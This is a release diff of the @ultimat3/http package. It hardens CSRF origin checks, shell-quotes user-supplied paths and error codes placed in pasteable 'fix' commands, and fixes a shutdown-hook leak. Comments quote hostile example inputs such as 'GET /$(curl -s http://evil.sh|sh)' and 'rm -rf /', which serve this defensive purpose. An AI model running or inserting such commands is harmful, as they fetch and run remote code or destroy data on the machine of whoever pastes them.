@ultimat3/http 19.2.0 → 19.3.2

package/CLAUDE.md

@@ -132,6 +132,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
   and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
   PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
+  **Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
+  is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
+  everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
+  `traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
+  between two Ultimate services under the default `trustProxy` (false), for a value that carries
+  correlation and no authority. Never "fix" the inconsistency by gating it.
 - **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
   `trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
   every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
@@ -140,6 +146,7 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
   requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
   `x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
+  The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
   `x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
   TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
   **A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
@@ -183,7 +190,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
   before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
   `Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
-  `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). The self
+  `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
+  `cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
+  2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
+  (the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
+  read as "this origin is one we allow": every origin on the internet was same-origin, and the
+  cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
   origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
   TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
   double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
@@ -410,6 +422,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   `APP_ERROR_STATUS` is process-global runtime state filled by the app's own imports, while both
   named surfaces are build artefacts derived from source, so in a CLI process it answers `{}`.
   Wiring one means deriving it from source, not re-exporting the map.
+- **A handler's own `Response.status` is never rewritten.** `error-map.ts` answers the status of a
+  THROW; a status a handler chose — `html(page, { status: 404 })`, which is what a page route's
+  `withStatus(404, data)` in `@ultimat3/render` becomes — passes through every stage as written,
+  body included, in dev and in production. `pipeline-handler-status.test.ts` pins it, because the
+  render seam is only true while this is: ai-maxxing's `/fleet/nope` answered 200 for as long as
+  the only way to a 404 was the error page, outside the app's shell.
 - **The context carries the inbound headers, never the `Request`.** `ctx.requestHeaders` is set
   once at construction; `useRequestHeader` / `useRequestCookie` are what app code reads, and
   `UltimateRequest.cookie()` is what `hooks.authenticate` reads. A `Request` on the context is a
@@ -587,6 +605,34 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
   `drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
   in-flight counter — core waits on work it does not know about, so a private counter
   hangs every deploy at the `inflight` phase.
+- **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
+  sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
+  `unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
+  `stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
+  that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
+  this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
+  that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
+  closure's business and never the drain's.
+- **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
+  `routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
+  caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
+  line the framework tells its reader to paste. The value still travels in the `cause`, which is
+  read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
+  live in every POSIX shell.
+  **A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
+  `x errors explain <code> --json`, and `code` is a string field off a throwable this package did
+  not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
+  `FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
+  so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
+  `server.ts`; the value still travels in `facts.code`.
+  **And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
+  gate above screens the code this package renders INTO a command; this one screens a whole command
+  a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
+  object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
+  framework code beside it makes the line read as the framework's own — `isUltimateError`, and
+  nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
+  error that crossed a wire and lost its brand falls to the generated line, which is honest. The
+  `cause` still travels: a cause is read, never run.
 - **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
   `X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
   only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and

package/README.md

@@ -94,7 +94,7 @@ What the lifecycle refuses on the caller's behalf, `As of 2026-08`:
 | an injected limiter that does not hold a bucket a route declares | `X_RATE_LIMIT_BUCKET_UNBOUND` at `createPipeline`, because the name would fall through to `default` — measured at 120 burst for a route declaring 5 |
 | a config that never declared `rateLimit.scope` | `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `'process'` used to be the default, so "nobody asked" and "the app said one replica" were the same value while the chart runs three |
 | `trustProxy: true` with no `trustedProxyHops` | `X_TRUST_PROXY_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `trustProxy` now defaults to `false`, and `x-forwarded-for` is read at `entries.length - hops` — never at `[0]`, which is whatever the client typed |
-| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an `Origin` in `cors.origins` — anything else is refused before the body is read |
+| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an EXACT listing in `cors.origins` — anything else is refused before the body is read. `origins: ['*']` lists nobody here: `'*'` is a value for the response header, not a per-origin allowance |
 | a request past `requestTimeoutMs` (30s) | `ctx.signal` aborts and the socket is answered `X_TIMEOUT` (504); a caller may shorten the deadline with `x-request-timeout-ms`, never lengthen it |
 | the caller going away mid-request | `ctx.signal` aborts on the inbound `Request.signal` too, so a closed tab unwinds cooperative work instead of holding its pool slot for the rest of the budget. Both halves are one signal (`AbortSignal.any`), and `requestTimeoutMs: 0` still delivers the caller's |
 | a request while the process is draining | `X_DRAINING` (503) + `retry-after`, which is what `isDraining()` was always documented to do here and had no reader for |

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ultimat3/http",
-  "version": "19.2.0",
+  "version": "19.3.2",
   "description": "Owned request lifecycle over Bun.serve: router, ordered pipeline, problem+json errors",
   "license": "MIT",
   "type": "module",
@@ -31,9 +31,9 @@
     "test": "bun test"
   },
   "dependencies": {
-    "@ultimat3/core": "19.2.0",
-    "@ultimat3/i18n": "19.2.0",
-    "@ultimat3/schema": "19.2.0",
-    "@ultimat3/time": "19.2.0"
+    "@ultimat3/core": "19.3.2",
+    "@ultimat3/i18n": "19.3.2",
+    "@ultimat3/schema": "19.3.2",
+    "@ultimat3/time": "19.3.2"
   }
 }

package/src/correlation.ts

@@ -34,6 +34,12 @@ export interface InboundCorrelation {
 export const readCorrelation = (headers: Headers, config: HttpConfig): InboundCorrelation => {
   const inboundId = config.trustProxy ? headers.get('x-request-id') : null;
   const requestId = inboundId !== null && REQUEST_ID.test(inboundId) ? inboundId : uuid();
+  // Deliberately NOT gated on `trustProxy`, unlike the id above, and the asymmetry is the rule:
+  // `x-request-id` is ECHOED back as this response's identity, so an untrusted caller choosing it
+  // poisons log correlation for everyone — while `traceparent` is W3C context continuation, which
+  // any caller is expected to send. `traceHeaders()` puts it on every typed-client call, so
+  // gating it would break tracing across two Ultimate services with the default `trustProxy`
+  // (false) for a value that is 32 hex characters of correlation and no authority at all.
   const parent = parseTraceparent(headers.get('traceparent'));
   return {
     requestId,

package/src/cors.ts

@@ -37,14 +37,25 @@ export const assertCorsConfig = (config: CorsConfig): void => {
 };
 
 /**
- * The one answer to "may this origin talk to us?". Exported for `csrf.ts`, which asks the same
- * question about a *request* rather than a response — a second list of allowed origins would be
- * a CORS policy and a CSRF policy that quietly disagree.
+ * Did the app LIST this exact origin? Off the same array `allowedOrigin` reads, so the two can
+ * never disagree about what was declared — but the wildcard is deliberately not an answer here.
+ * `'*'` is a value for a RESPONSE header, meaning "any origin may read a public reply"; it says
+ * nothing about who may WRITE. `csrf.ts` asked `allowedOrigin(...) !== null` and got `'*'` back
+ * for the one legal wildcard form (`credentials: false`), which read as "evil.test is an origin
+ * this app allows" and let a cross-site form post through with the session cookie attached.
+ */
+export const originListed = (config: CorsConfig, origin: string | null): boolean =>
+  origin !== null && config.origins.includes(origin);
+
+/**
+ * The one answer to "may this origin READ our reply?" — the value of
+ * `access-control-allow-origin`, or `null` for no CORS headers at all. Never a proof that a
+ * request came from somewhere allowed to make it: that is `originListed`, above.
  */
 export const allowedOrigin = (config: CorsConfig, origin: string | null): string | null => {
   if (origin === null) return null;
   if (config.origins.includes('*')) return config.credentials ? null : '*';
-  return config.origins.includes(origin) ? origin : null;
+  return originListed(config, origin) ? origin : null;
 };
 
 /**

package/src/csrf.ts

@@ -6,7 +6,7 @@
 // first-class surface here rather than a legacy one.
 
 import type { CorsConfig } from './cors';
-import { allowedOrigin } from './cors';
+import { originListed } from './cors';
 
 export type CsrfMode = 'origin' | 'off';
 
@@ -61,9 +61,12 @@ export const checkCsrf = (input: CsrfCheckInput): CsrfVerdict => {
   const site = input.secFetchSite;
   if (site === 'same-origin' || site === 'none') return { ok: true };
   if (input.origin === input.selfOrigin) return { ok: true };
-  if (input.origin !== null && allowedOrigin(input.cors, input.origin) !== null) {
-    return { ok: true };
-  }
+  // `originListed`, never `allowedOrigin`: that one answers the RESPONSE header, and for
+  // `origins: ['*'], credentials: false` — the only wildcard `assertCorsConfig` admits — its
+  // answer is `'*'`, which is not null and so read as "this origin is one we allow". A
+  // credentialed cross-site POST from evil.test was therefore accepted by the check that exists
+  // to refuse exactly it. An exact match is the only allowance a write may be built on.
+  if (originListed(input.cors, input.origin)) return { ok: true };
   // Only the four values a browser can send are quoted back. Anything else is a client that
   // wrote the header itself, and echoing what it wrote is how a rejected value reaches the log
   // store and the response body — the same defect the error-map stage's log line had.

package/src/error-facts.ts

@@ -2,7 +2,14 @@
 // document and the three lines the terminal and the overlay print. Split off `error-map.ts` at the
 // 500-line ceiling — that file answers "what status is this code", one closed table, and this one
 // answers "what does a reader see", which is three audiences and one opacity rule.
-import { ERROR_DOCS_URL, renderCauseValue, singleLine, stringField } from '@ultimat3/core';
+import {
+  ERROR_DOCS_URL,
+  FRAMEWORK_CODE,
+  isUltimateError,
+  renderCauseValue,
+  singleLine,
+  stringField,
+} from '@ultimat3/core';
 import type { ValidationIssue } from '@ultimat3/schema';
 import { declaredStatusFor, statusFor } from './error-map';
 import { HTTP_ERROR_TITLES } from './errors';
@@ -64,7 +71,23 @@ export const factsOf = (error: unknown): ErrorFacts => {
     // `x logs tail` is in `PLANNED_COMMANDS` — it exits `X_NOT_IMPLEMENTED`. A fix line naming a
     // command that throws is axiom 4 inverted: the one instruction the reader is given fails.
     // `x errors explain` ships, and it is the command that answers "what is this code".
-    fix: str(error, 'fix') ?? `x errors explain ${code} --json   # then fix the throwing call site`,
+    // `FRAMEWORK_CODE`, never `startsWith('X_')`: `code` is a string field off a value this
+    // package did not build, and this line is a COMMAND a reader pastes — `x errors explain
+    // X_$(curl evil.sh|sh) --json` substitutes before `x` is reached. A code that is not one
+    // answers nothing anyway, so the listing is the honest command. Same gate, same reason, as
+    // `@ultimat3/mcp`'s `server.ts`.
+    // BRANDED, never merely "has a `fix` string": `factsOf` normalises a worker message, a
+    // WebSocket frame and any app object, so a foreign `fix` is remote text landing in the line an
+    // operator is told to paste — `rm -rf / # x errors explain` renders as authoritative as the
+    // framework's own. An `UltimateError` built its `fix` in this process, through
+    // `renderFixShellArg` and this tree's gate; nothing else has. A framework error that crossed a
+    // wire and lost its brand falls to the generated line below, which is honest rather than a
+    // command it did not author.
+    fix:
+      (isUltimateError(error) ? str(error, 'fix') : undefined) ??
+      (FRAMEWORK_CODE.test(code)
+        ? `x errors explain ${code} --json   # then fix the throwing call site`
+        : 'x errors list --json   # then fix the throwing call site'),
     // Core's one constant, never a per-code URL: `wiki/` is the only public documentation surface
     // and a code lives there in a table row, which has no anchor. An `UltimateError` already
     // resolved this at construction, so the fallback only fires for a throwable the framework did

package/src/error-map.ts

@@ -347,6 +347,10 @@ export const ERROR_STATUS = {
   // document that said "the details are in this process's logs" about an error whose whole
   // value is the sentence naming the prop and its bytes. Measured on ai-maxxing, 2026-09-05.
   X_ISLAND_PROPS_INVALID: 500,
+  // A loader answered `withStatus` with a 3xx, or a status outside 200–599. Raised INSIDE the
+  // request that ran the loader, so it needs a row for the same reason the line above does: an
+  // unclassified 500 blanks the sentence naming the status and the `redirect()` to use instead.
+  X_ROUTE_STATUS_INVALID: 500,
   // @ultimat3/mail
   // The deployment configured no transport. It reaches a caller only through an inline
   // `send(…, { sync: true })` inside a request; the queued path dead-letters instead. A server-side
@@ -361,6 +365,9 @@ export const ERROR_STATUS = {
   // MCP host is mounted inside this pipeline — a code that renders 429 on one and 500 on the other
   // is exactly the split this table exists to prevent.
   X_MCP_RATE_LIMITED: 429,
+  // The second MCP code answered on a request before dispatch, and 413 for the same reason the row
+  // above is 429: `transport-http.ts` already answers it with that status by hand.
+  X_MCP_BODY_TOO_LARGE: 413,
   // @ultimat3/core
   // The caller asked for a format the pipeline cannot produce (`?f=avif`): the request names an
   // unsupported representation, which is 415 — not a 500, which would blame the server for it.

package/src/errors.ts

@@ -4,6 +4,7 @@
 import {
   registerErrorCodes,
   registerErrorRetry,
+  renderFixShellArg,
   renderThrowable,
   UltimateError,
 } from '@ultimat3/core';
@@ -152,11 +153,20 @@ export class HttpError extends UltimateError {
   }
 }
 
+/**
+ * The pathname is whatever an anonymous caller typed, and `fix:` is a COMMAND POSITION — so it
+ * goes through `renderFixShellArg`, which passes an ordinary path through and substitutes a
+ * placeholder for anything a shell would read. `renderFixLiteral` is the wrong tool here and
+ * cannot be made right: it answers double quotes, in which `$(…)` and backticks are still live.
+ * Reproduced: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into a line
+ * whose whole purpose is to be pasted into a terminal.
+ */
 export const routeNotFound = (method: string, pathname: string): HttpError =>
   new HttpError({
     code: 'X_ROUTE_NOT_FOUND',
+    // The value itself still travels, in the field that is read rather than run.
     cause: `no route registered for ${method} ${pathname}`,
-    fix: `x routes list --json   # then: x g route ${pathname}`,
+    fix: `x routes list --json   # then: x g route ${renderFixShellArg(pathname, '<the path the cause names>')}`,
   });
 
 export const methodNotAllowed = (

package/src/index.ts

@@ -31,7 +31,7 @@ export {
 export type { InboundCorrelation } from './correlation';
 export { readCorrelation } from './correlation';
 export type { CorsConfig } from './cors';
-export { allowedOrigin, corsHeaders, DEFAULT_CORS, preflight } from './cors';
+export { allowedOrigin, corsHeaders, DEFAULT_CORS, originListed, preflight } from './cors';
 export type { CsrfCheckInput, CsrfConfig, CsrfMode, CsrfVerdict } from './csrf';
 export { checkCsrf, DEFAULT_CSRF, selfOrigin } from './csrf';
 export type { Deadline } from './deadline';

package/src/server.ts

@@ -210,7 +210,26 @@ export const createServer = (options: ServerOptions): ServerHandle => {
       return handle;
     },
     async stop() {
-      if (server === undefined) return;
+      // Handed back FIRST, above every early return: on the SIGTERM path the `close` hook has
+      // already set `server = undefined`, so `if (server === undefined) return` skipped the
+      // release in the `finally` below for exactly the path production takes — two hooks left
+      // registered against a socket that is gone, per server, per lifecycle, which is the leak
+      // core's `shutdownHookCount()` exists to make visible. The shape `worker.ts`'s teardown
+      // holds: the unregisters are the closure's, not the drain's.
+      const releaseHooks = (): void => {
+        unregister?.();
+        unregisterClose?.();
+        unregister = undefined;
+        unregisterClose = undefined;
+      };
+      if (server === undefined) {
+        releaseHooks();
+        // Idempotent, and this path reaches it too: the close hook released the announcement, or
+        // the deadline cut it short and nobody did.
+        stopListening?.();
+        stopListening = undefined;
+        return;
+      }
       try {
         // Delegate to core so a manual stop() and a real SIGTERM take the identical
         // three-phase path. The drain deadline is core's, not ours.
@@ -219,8 +238,7 @@ export const createServer = (options: ServerOptions): ServerHandle => {
         // A throwing drain() must not leave this handle's hooks registered against a server
         // that is going away — core would still call them, against `server` fields already
         // torn down below, on the next drain this process runs.
-        unregister?.();
-        unregisterClose?.();
+        releaseHooks();
       }
       // Idempotent: the close hook already released, unless the drain deadline cut it short.
       stopListening?.();